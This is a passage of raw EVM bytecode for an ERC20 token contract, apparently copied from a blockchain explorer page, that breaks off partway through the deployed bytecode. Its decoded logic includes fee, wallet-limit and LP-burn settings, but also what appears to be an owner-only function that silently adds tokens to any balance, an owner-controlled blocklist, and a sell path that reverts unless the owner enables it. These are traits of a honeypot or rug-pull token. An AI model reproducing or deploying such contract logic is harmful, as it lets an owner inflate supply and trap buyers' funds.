f7910160405180910390a25050565b611a4b612272565b6006546001600160a01b03908116911614611aa85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601a839055601b829055601c81905580611ac28385613d9d565b611acc9190613d9d565b601981815510156115c75760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610cf0565b611b27612272565b6006546001600160a01b03908116911614611b845760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b670de0b6b3a7640000620f4240611b9a60035490565b611ba5906001613cbd565b611baf9190613cfa565b611bb99190613cfa565b811015611c2d5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060448201527f302e3525000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b611c3f81670de0b6b3a7640000613cbd565b600b5550565b6000611c4f612272565b6006546001600160a01b03908116911614611cac5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b620186a0611cb960035490565b611cc4906001613cbd565b611cce9190613cfa565b821015611d435760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527f20302e3030312520746f74616c20737570706c792e00000000000000000000006064820152608401610cf0565b50600a81905560015b919050565b6000611d5b612272565b6006546001600160a01b03908116911614611db85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b506014805460ff19169055600190565b611dd0612272565b6006546001600160a01b03908116911614611e2d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b038116611ea95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610cf0565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6000611f27612272565b6006546001600160a01b03908116911614611f845760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601054601154611f949190613d9d565b4211611fe25760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610cf0565b6103e882111561205a5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201527f6b656e7320696e204c50000000000000000000000000000000000000000000006064820152608401610cf0565b426011556040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600482015260009030906370a082319060240160206040518083038186803b1580156120d957600080fd5b505afa1580156120ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121119190613db5565b9050600061212b6127106121258487612f8b565b90613026565b90508015612160576121607f000000000000000000000000000000000000000000000000000000000000000061dead83613068565b60007f00000000000000000000000000000000000000000000000000000000000000009050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156121c057600080fd5b505af11580156121d4573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6000806122198385613d9d565b90508381101561226b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cf0565b9392505050565b6000805474010000000000000000000000000000000000000000900460ff16151560011480156122ac57506000546001600160a01b031633145b6122b557503390565b50600090565b6001600160a01b0383166123365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b0382166123b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166124905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b03821661250c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b8061251d576115c783836000613068565b60125460ff1615612a3b576006546001600160a01b0384811691161480159061255457506006546001600160a01b03838116911614155b801561256857506001600160a01b03821615155b801561257f57506001600160a01b03821661dead14155b80156125a6575060065474010000000000000000000000000000000000000000900460ff16155b15612a3b57601254610100900460ff16612643576001600160a01b038316600090815260208052604090205460ff16806125f757506001600160a01b038216600090815260208052604090205460ff165b6126435760405162461bcd60e51b815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e000000000000000000006044820152606401610cf0565b60145460ff161561279e576006546001600160a01b0383811691161480159061269e57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b80156126dc57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b1561279e5732600090815260136020526040902054431161278b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60648201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000608482015260a401610cf0565b3260009081526013602052604090204390555b6001600160a01b03831660009081526023602052604090205460ff1680156127df57506001600160a01b03821660009081526021602052604090205460ff16155b156128d55760095481111561285c5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d61785472616e73616374696f6e416d6f756e742e00000000000000000000006064820152608401610cf0565b600b546001600160a01b0383166000908152600160205260409020546128829083613d9d565b11156128d05760405162461bcd60e51b815260206004820152601360248201527f4d61782077616c6c6574206578636565646564000000000000000000000000006044820152606401610cf0565b612a3b565b6001600160a01b03821660009081526023602052604090205460ff16801561291657506001600160a01b03831660009081526021602052604090205460ff16155b156129a757601454610100900460ff1661292f57600080fd5b6009548111156128d05760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d61785472616e73616374696f6e416d6f756e742e000000000000000000006064820152608401610cf0565b6001600160a01b03821660009081526021602052604090205460ff16612a3b57600b546001600160a01b0383166000908152600160205260409020546129ed9083613d9d565b1115612a3b5760405162461bcd60e51b815260206004820152601360248201527f4d61782077616c6c6574206578636565646564000000000000000000000000006044820152606401610cf0565b30600090815260016020526040902054600a5481108015908190612a67575060125462010000900460ff165b8015612a8e575060065474010000000000000000000000000000000000000000900460ff16155b8015612ab357506001600160a01b03851660009081526023602052604090205460ff16155b8015612ad757506001600160a01b038516600090815260208052604090205460ff16155b8015612afb57506001600160a01b038416600090815260208052604090205460ff16155b15612b7057600680547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000179055612b47613220565b600680547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690555b60065474010000000000000000000000000000000000000000900460ff16158015612bb357506001600160a01b03841660009081526023602052604090205460ff165b8015612bc15750600d5460ff165b8015612bdc5750600e54600f54612bd89190613d9d565b4210155b8015612c0057506001600160a01b038516600090815260208052604090205460ff16155b15612c0f57612c0d61345a565b505b6006546001600160a01b038616600090815260208052604090205460ff74010000000000000000000000000000000000000000909204821615911680612c6c57506001600160a01b038516600090815260208052604090205460ff165b15612c75575060005b60008115612e5a576001600160a01b03861660009081526023602052604090205460ff168015612ca757506000601954115b15612d5f57612cc6606461212560195488612f8b90919063ffffffff16565b9050601954601b5482612cd99190613cbd565b612ce39190613cfa565b601e6000828254612cf49190613d9d565b9091555050601954601c54612d099083613cbd565b612d139190613cfa565b601f6000828254612d249190613d9d565b9091555050601954601a54612d399083613cbd565b612d439190613cfa565b601d6000828254612d549190613d9d565b90915550612e3c9050565b6001600160a01b03871660009081526023602052604090205460ff168015612d8957506000601554115b15612e3c57612da8606461212560155488612f8b90919063ffffffff16565b905060155460175482612dbb9190613cbd565b612dc59190613cfa565b601e6000828254612dd69190613d9d565b9091555050601554601854612deb9083613cbd565b612df59190613cfa565b601f6000828254612e069190613d9d565b9091555050601554601654612e1b9083613cbd565b612e259190613cfa565b601d6000828254612e369190613d9d565b90915550505b8015612e4d57612e4d873083613068565b612e578186613dce565b94505b6001600160a01b03871660009081526022602052604090205460ff1615612ee95760405162461bcd60e51b815260206004820152602360248201527f596f752063616e7420646f2074686973207472616e73616374696f6e2e20284260448201527f6c772900000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b612ef4878787613068565b50505050505050565b60008184841115612f215760405162461bcd60e51b8152600401610cf09190613997565b506000612f2e8486613dce565b95945050505050565b6001600160a01b038216600081815260236020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600082612f9a57506000610c89565b6000612fa68385613cbd565b905082612fb38583613cfa565b1461226b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b600061226b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613612565b6001600160a01b0383166130e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b0382166131605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b61319d81604051806060016040528060268152602001613ea2602691396001600160a01b0386166000908152600160205260409020549190612efd565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546131cc908261220c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124079085815260200190565b3060009081526001602052604081205490506000601f54601d54601e546132479190613d9d565b6132519190613d9d565b90506000821580613260575081155b1561326a57505050565b600a54613278906014613cbd565b83111561329057600a5461328d906014613cbd565b92505b6000600283601e54866132a39190613cbd565b6132ad9190613cfa565b6132b79190613cfa565b905060006132c58583613640565b9050476132d182613682565b60006132dd4783613640565b905060006132fa87612125601d5485612f8b90919063ffffffff16565b9050600061331788612125601f5486612f8b90919063ffffffff16565b90506000816133268486613dce565b6133309190613dce565b6000601e819055601d819055601f8190556008546040519293506001600160a01b031691849181818185875af1925050503d806000811461338d576040519150601f19603f3d011682016040523d82523d6000602084013e613392565b606091505b509098505086158015906133a65750600081115b156133f9576133b5878261386a565b601e54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6007546040516001600160a01b03909116904790600081818185875af1925050503d8060008114613446576040519150601f19603f3d011682016040523d82523d6000602084013e61344b565b606091505b50505050505050505050505050565b42600f556040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166004820152600090819030906370a082319060240160206040518083038186803b1580156134db57600080fd5b505afa1580156134ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135139190613db5565b90506000613532612710612125600c5485612f8b90919063ffffffff16565b90508015613567576135677f000000000000000000000000000000000000000000000000000000000000000061dead83613068565b60007f00000000000000000000000000000000000000000000000000000000000000009050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156135c757600080fd5b505af11580156135db573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b600081836136335760405162461bcd60e51b8152600401610cf09190613997565b506000612f2e8486613cfa565b600061226b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612efd565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106136b7576136b7613d35565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561373057600080fd5b505afa158015613744573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137689190613de5565b8160018151811061377b5761377b613d35565b60200260200101906001600160a01b031690816001600160a01b0316815250506137c6307f0000000000000000000000000000000000000000000000000000000000000000846122bb565b6040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790613834908590600090869030904290600401613e02565b600060405180830381600087803b15801561384e57600080fd5b505af1158015613862573d6000803e3d6000fd5b505050505050565b613895307f0000000000000000000000000000000000000000000000000000000000000000846122bb565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7198230856000806138dc6006546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561395757600080fd5b505af115801561396b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906139909190613e73565b5050505050565b600060208083528351808285015260005b818110156139c4578581018301518582016040015282016139a8565b818111156139d6576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6001600160a01b0381168114613a1f57600080fd5b50565b60008060408385031215613a3557600080fd5b8235613a4081613a0a565b946020939093013593505050565b600060208284031215613a6057600080fd5b813561226b81613a0a565b600060208284031215613a7d57600080fd5b5035919050565b600080600060608486031215613a9957600080fd5b8335613aa481613a0a565b92506020840135613ab481613a0a565b929592945050506040919091013590565b80358015158114611d4c57600080fd5b600080600060408486031215613aea57600080fd5b833567ffffffffffffffff80821115613b0257600080fd5b818601915086601f830112613b1657600080fd5b813581811115613b2557600080fd5b8760208260051b8501011115613b3a57600080fd5b602092830195509350613b509186019050613ac5565b90509250925092565b600080600060608486031215613b6e57600080fd5b8335925060208401359150613b5060408501613ac5565b60008060408385031215613b9857600080fd5b8235613ba381613a0a565b9150613bb160208401613ac5565b90509250929050565b600080600060608486031215613bcf57600080fd5b505081359360208301359350604090920135919050565b600060208284031215613bf857600080fd5b61226b82613ac5565b60008060408385031215613c1457600080fd5b8235613c1f81613a0a565b91506020830135613c2f81613a0a565b809150509250929050565b600181811c90821680613c4e57607f821691505b60208210811415613c88577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf557613cf5613c8e565b500290565b600082613d30577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d9657613d96613c8e565b5060010190565b60008219821115613db057613db0613c8e565b500190565b600060208284031215613dc757600080fd5b5051919050565b600082821015613de057613de0613c8e565b500390565b600060208284031215613df757600080fd5b815161226b81613a0a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015613e525784516001600160a01b031683529383019391830191600101613e2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215613e8857600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ba60e198bfb304c972d1863e8d619589b6f1b327b49df2b3e0b738b3cf01137e64736f6c634300080900334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572
Deployed Bytecode
0x6080604052600436106103e25760003560e01c80638a8c523c1161020d578063bbc0c74211610128578063dd62ed3e116100bb578063f11a24d31161008a578063f63743421161006f578063f637434214610b93578063f8b45b0514610ba9578063fe72b27a14610bbf57600080fd5b8063f11a24d314610b5d578063f2fde38b14610b7357600080fd5b8063dd62ed3e14610abc578063de0c298514610b02578063e2f4560514610b32578063e884f26014610b4857600080fd5b8063c876d0b9116100f7578063c876d0b914610a56578063c8c8ebe414610a70578063d257b34f14610a86578063d85ba06314610aa657600080fd5b8063bbc0c742146109d7578063c0246668146109f6578063c17b5b8c14610a16578063c18bc19514610a3657600080fd5b80639ec22c0e116101a0578063a4c82a001161016f578063a4c82a0014610951578063a9059cbb14610967578063aacebbe314610987578063b62496f5146109a757600080fd5b80639ec22c0e146108ef5780639fccce3214610905578063a0d82dc51461091b578063a457c2d71461093157600080fd5b8063924de9b7116101dc578063924de9b71461088457806395d89b41146108a45780639a7a23d6146108b95780639c3b4fdc146108d957600080fd5b80638a8c523c1461081b5780638da5cb5b146108305780638ea5220f1461084e578063921369131461086e57600080fd5b806339509351116102fd578063715018a61161029057806375f0a8741161025f57806375f0a874146107a55780637bce5a04146107c55780637fd22e39146107db5780638095d564146107fb57600080fd5b8063715018a61461073b578063730c188814610750578063751039fc146107705780637571336a1461078557600080fd5b8063563bf354116102cc578063563bf354146106af5780636a486a8e146106cf5780636ddd1713146106e557806370a082311461070557600080fd5b8063395093511461060957806349bd5a5e146106295780634a62bb651461065d5780634fbee1931461067757600080fd5b8063199ffc721161037557806323b872dd1161034457806323b872dd1461059d5780632c3e486c146105bd5780632e82f1a0146105d3578063313ce567146105ed57600080fd5b8063199ffc721461053b5780631a8145bb146105515780631f3fed8f14610567578063203e727e1461057d57600080fd5b8063178a18fe116103b1578063178a18fe146104c557806318160ddd146104e45780631816467f14610503578063184c16c51461052557600080fd5b806306fdde03146103ee578063095ea7b31461041957806310d5de53146104495780631694505e1461047957600080fd5b366103e957005b600080fd5b3480156103fa57600080fd5b50610403610bdf565b6040516104109190613997565b60405180910390f35b34801561042557600080fd5b50610439610434366004613a22565b610c71565b6040519015158152602001610410565b34801561045557600080fd5b50610439610464366004613a4e565b60216020526000908152604090205460ff1681565b34801561048557600080fd5b506104ad7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610410565b3480156104d157600080fd5b5060145461043990610100900460ff1681565b3480156104f057600080fd5b506003545b604051908152602001610410565b34801561050f57600080fd5b5061052361051e366004613a4e565b610c8f565b005b34801561053157600080fd5b506104f560105481565b34801561054757600080fd5b506104f5600c5481565b34801561055d57600080fd5b506104f5601e5481565b34801561057357600080fd5b506104f5601d5481565b34801561058957600080fd5b50610523610598366004613a6b565b610d6e565b3480156105a957600080fd5b506104396105b8366004613a84565b610e95565b3480156105c957600080fd5b506104f5600e5481565b3480156105df57600080fd5b50600d546104399060ff1681565b3480156105f957600080fd5b5060405160128152602001610410565b34801561061557600080fd5b50610439610624366004613a22565b610f1c565b34801561063557600080fd5b506104ad7f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e94688281565b34801561066957600080fd5b506012546104399060ff1681565b34801561068357600080fd5b50610439610692366004613a4e565b6001600160a01b0316600090815260208052604090205460ff1690565b3480156106bb57600080fd5b506105236106ca366004613ad5565b610f6a565b3480156106db57600080fd5b506104f560195481565b3480156106f157600080fd5b506012546104399062010000900460ff1681565b34801561071157600080fd5b506104f5610720366004613a4e565b6001600160a01b031660009081526001602052604090205490565b34801561074757600080fd5b506105236110b9565b34801561075c57600080fd5b5061052361076b366004613b59565b6111bf565b34801561077c57600080fd5b5061043961133a565b34801561079157600080fd5b506105236107a0366004613b85565b6113b1565b3480156107b157600080fd5b506007546104ad906001600160a01b031681565b3480156107d157600080fd5b506104f560165481565b3480156107e757600080fd5b506105236107f6366004613a22565b611441565b34801561080757600080fd5b50610523610816366004613bba565b6114e9565b34801561082757600080fd5b506105236115cc565b34801561083c57600080fd5b506006546001600160a01b03166104ad565b34801561085a57600080fd5b506008546104ad906001600160a01b031681565b34801561087a57600080fd5b506104f5601a5481565b34801561089057600080fd5b5061052361089f366004613be6565b611664565b3480156108b057600080fd5b50610403611701565b3480156108c557600080fd5b506105236108d4366004613b85565b611710565b3480156108e557600080fd5b506104f560185481565b3480156108fb57600080fd5b506104f560115481565b34801561091157600080fd5b506104f5601f5481565b34801561092757600080fd5b506104f5601c5481565b34801561093d57600080fd5b5061043961094c366004613a22565b61182b565b34801561095d57600080fd5b506104f5600f5481565b34801561097357600080fd5b50610439610982366004613a22565b611893565b34801561099357600080fd5b506105236109a2366004613a4e565b6118a7565b3480156109b357600080fd5b506104396109c2366004613a4e565b60236020526000908152604090205460ff1681565b3480156109e357600080fd5b5060125461043990610100900460ff1681565b348015610a0257600080fd5b50610523610a11366004613b85565b611981565b348015610a2257600080fd5b50610523610a31366004613bba565b611a43565b348015610a4257600080fd5b50610523610a51366004613a6b565b611b1f565b348015610a6257600080fd5b506014546104399060ff1681565b348015610a7c57600080fd5b506104f560095481565b348015610a9257600080fd5b50610439610aa1366004613a6b565b611c45565b348015610ab257600080fd5b506104f560155481565b348015610ac857600080fd5b506104f5610ad7366004613c01565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610b0e57600080fd5b50610439610b1d366004613a4e565b60226020526000908152604090205460ff1681565b348015610b3e57600080fd5b506104f5600a5481565b348015610b5457600080fd5b50610439611d51565b348015610b6957600080fd5b506104f560175481565b348015610b7f57600080fd5b50610523610b8e366004613a4e565b611dc8565b348015610b9f57600080fd5b506104f5601b5481565b348015610bb557600080fd5b506104f5600b5481565b348015610bcb57600080fd5b50610439610bda366004613a6b565b611f1d565b606060048054610bee90613c3a565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1a90613c3a565b8015610c675780601f10610c3c57610100808354040283529160200191610c67565b820191906000526020600020905b815481529060010190602001808311610c4a57829003601f168201915b5050505050905090565b6000610c85610c7e612272565b84846122bb565b5060015b92915050565b610c97612272565b6006546001600160a01b03908116911614610cf95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6008546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600880547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610d76612272565b6006546001600160a01b03908116911614610dd35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b670de0b6b3a7640000620f4240610de960035490565b610df4906001613cbd565b610dfe9190613cfa565b610e089190613cfa565b811015610e7d5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201527f6c6f776572207468616e20302e312500000000000000000000000000000000006064820152608401610cf0565b610e8f81670de0b6b3a7640000613cbd565b60095550565b6000610ea2848484612414565b610f1284610eae612272565b610f0d85604051806060016040528060288152602001613ec8602891396001600160a01b038a16600090815260026020526040812090610eec612272565b6001600160a01b031681526020810191909152604001600020549190612efd565b6122bb565b5060019392505050565b6000610c85610f29612272565b84610f0d8560026000610f3a612272565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061220c565b610f72612272565b6006546001600160a01b03908116911614610fcf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b60005b828110156110b3576006546001600160a01b0316848483818110610ff857610ff8613d35565b905060200201602081019061100d9190613a4e565b6001600160a01b0316141561104d57601480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100841515021790555b816022600086868581811061106457611064613d35565b90506020020160208101906110799190613a4e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806110ab81613d64565b915050610fd2565b50505050565b6110c1612272565b6006546001600160a01b0390811691161461111e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6006546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000179055600680547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6111c7612272565b6006546001600160a01b039081169116146112245760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b61025883101561129c5760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860448201527f616e206576657279203130206d696e75746573000000000000000000000000006064820152608401610cf0565b6103e882111580156112ac575060015b61131e5760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201527f747765656e20302520616e6420313025000000000000000000000000000000006064820152608401610cf0565b600e92909255600c55600d805460ff1916911515919091179055565b6000611344612272565b6006546001600160a01b039081169116146113a15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b506012805460ff19169055600190565b6113b9612272565b6006546001600160a01b039081169116146114165760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b611449612272565b6006546001600160a01b039081169116146114a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b0382166000908152600160205260409020546114c9908261220c565b6001600160a01b0390921660009081526001602052604090209190915550565b6114f1612272565b6006546001600160a01b0390811691161461154e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601683905560178290556018819055806115688385613d9d565b6115729190613d9d565b6015819055601410156115c75760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610cf0565b505050565b6115d4612272565b6006546001600160a01b039081169116146116315760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ff166201010017905542600f55565b61166c612272565b6006546001600160a01b039081169116146116c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6012805491151562010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff909216919091179055565b606060058054610bee90613c3a565b611718612272565b6006546001600160a01b039081169116146117755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b7f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e9468826001600160a01b0316826001600160a01b0316141561181d5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610cf0565b6118278282612f37565b5050565b6000610c85611838612272565b84610f0d85604051806060016040528060258152602001613ef06025913960026000611862612272565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190612efd565b6000610c856118a0612272565b8484612414565b6118af612272565b6006546001600160a01b0390811691161461190c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6007546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600780547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b611989612272565b6006546001600160a01b039081169116146119e65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611a4b612272565b6006546001600160a01b03908116911614611aa85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601a839055601b829055601c81905580611ac28385613d9d565b611acc9190613d9d565b601981815510156115c75760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610cf0565b611b27612272565b6006546001600160a01b03908116911614611b845760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b670de0b6b3a7640000620f4240611b9a60035490565b611ba5906001613cbd565b611baf9190613cfa565b611bb99190613cfa565b811015611c2d5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060448201527f302e3525000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b611c3f81670de0b6b3a7640000613cbd565b600b5550565b6000611c4f612272565b6006546001600160a01b03908116911614611cac5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016